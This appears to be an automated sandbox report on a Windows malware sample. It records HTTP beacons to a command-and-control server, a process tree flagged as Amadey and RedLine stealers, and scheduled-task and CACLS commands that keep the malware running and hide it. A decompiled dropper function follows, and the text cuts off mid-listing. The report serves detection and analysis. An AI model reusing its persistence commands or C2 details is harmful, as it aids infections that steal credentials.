Feb 6, 2023 14:17:07.678071022 CET	297	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:07.741566896 CET	297	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49787	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:07.919083118 CET	298	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:07.982109070 CET	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49788	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:11.171370983 CET	299	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:11.237281084 CET	300	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49789	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:11.410183907 CET	300	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:11.474111080 CET	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 6036, Parent PID: 3324

General

Target ID:	0
Start time:	14:15:22
Start date:	06/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x10c0000
File size:	598528 bytes
MD5 hash:	61A8C6A50C4A2C2990E45BC223464333
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.307249151.0000000004A44000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: bjAg.exePID: 6052, Parent PID: 6036

General

Target ID:	1
Start time:	14:15:22
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe
Imagebase:	0x1090000
File size:	407040 bytes
MD5 hash:	014BF36C5CA48AF27042E0BAF0B6D951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ajAf.exePID: 6068, Parent PID: 6052

General

Target ID:	2
Start time:	14:15:22
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe
Imagebase:	0x400000
File size:	375808 bytes
MD5 hash:	A00A64A5A243C8705D68786C6159E402
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.414193208.00000000005F7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6120, Parent PID: 3324

General

Target ID:	3
Start time:	14:15:36
Start date:	06/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff73f890000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1348, Parent PID: 3324

General

Target ID:	4
Start time:	14:15:48
Start date:	06/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x7ff73f890000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: nika.exePID: 1876, Parent PID: 6052

General

Target ID:	7
Start time:	14:16:12
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Imagebase:	0x790000
File size:	11264 bytes
MD5 hash:	7E93BACBBC33E6652E147E7FE07572A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: xriv.exePID: 4980, Parent PID: 6036

General

Target ID:	8
Start time:	14:16:25
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Imagebase:	0x170000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000000.443338469.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 5752, Parent PID: 4980

General

Target ID:	9
Start time:	14:16:26
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Imagebase:	0xd80000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000002.827863468.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.827977648.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000002.827863468.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000000.445122215.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000003.581791427.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000002.827863468.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000003.581742963.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000003.581742963.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000009.00000002.827863468.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5960, Parent PID: 5752

General

Target ID:	10
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Imagebase:	0x1020000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5576, Parent PID: 5960

General

Target ID:	11
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5560, Parent PID: 5752

General

Target ID:	12
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 920, Parent PID: 5560

General

Target ID:	13
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5012, Parent PID: 5560

General

Target ID:	14
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 3300, Parent PID: 5560

General

Target ID:	15
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:N"
Imagebase:	0xe90000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 5100, Parent PID: 5560

General

Target ID:	16
Start time:	14:16:27
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:R" /E
Imagebase:	0xe90000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4148, Parent PID: 5560

General

Target ID:	17
Start time:	14:16:28
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 6136, Parent PID: 5560

General

Target ID:	18
Start time:	14:16:28
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:N"
Imagebase:	0xe90000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 5224, Parent PID: 5560

General

Target ID:	19
Start time:	14:16:28
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:R" /E
Imagebase:	0xe90000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2552, Parent PID: 5752

General

Target ID:	20
Start time:	14:16:29
Start date:	06/02/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0x1290000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4524, Parent PID: 1084

General

Target ID:	21
Start time:	14:16:29
Start date:	06/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0xd80000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.452140965.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000000.451650195.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 6036, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	26.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.9%
Total number of Nodes:	966
Total number of Limit Nodes:	40

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 010C3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010C3BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x10c9124 =  *0x10c9124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x10c8a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x10c8c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E010C468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E010C44B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x10c9124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E010C1AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E010C6CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E010C3FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x10c8580;
													if( *0x10c8580 != 0) {
														E010C2267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x10c8180;
											if( *0x10c8180 == 0) {
												_t146 = 0x4c7;
												E010C44B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x10c9124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x10c9a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E010C6495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E010C44B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x10c9124 = E010C6285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E010C44B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x10c8a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x10c9a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x10c8a38 & 0x0000ffff;
											_v380 = 0x10c9154;
											_v376 = _t151;
											_v372 = 0x10c91e4;
											_v360 = _t97;
											if( *0x10c8a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x10c9a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x10c8d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x10c9a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x10ca288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x10c9124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x10c9a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x10c8a20;
										if( *0x10c8a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E010C202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E010C468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x10c8c42;
									if( *0x10c8c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x10c8a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E010C468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E010C468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E010C1781( &_v276, 0x104, _t130, 0x10c8c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E010C468F(_t130, 0x10c9a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x010c3baa
0x010c3bb0
0x010c3bb7
0x010c3bc0
0x010c3bc2
0x010c3bc9
0x010c3bcb
0x010c3bcf
0x010c3bd3
0x010c3bd9
0x010c3bfd
0x010c3bfd
0x010c3bff
0x010c3c03
0x010c3c03
0x010c3c11
0x010c3c16
0x010c3c19
0x010c3c28
0x00000000
0x00000000
0x010c3c30
0x010c3c39
0x010c3c40
0x010c3d13
0x010c3d15
0x010c3d21
0x010c3d26
0x00000000
0x010c3c4f
0x010c3c56
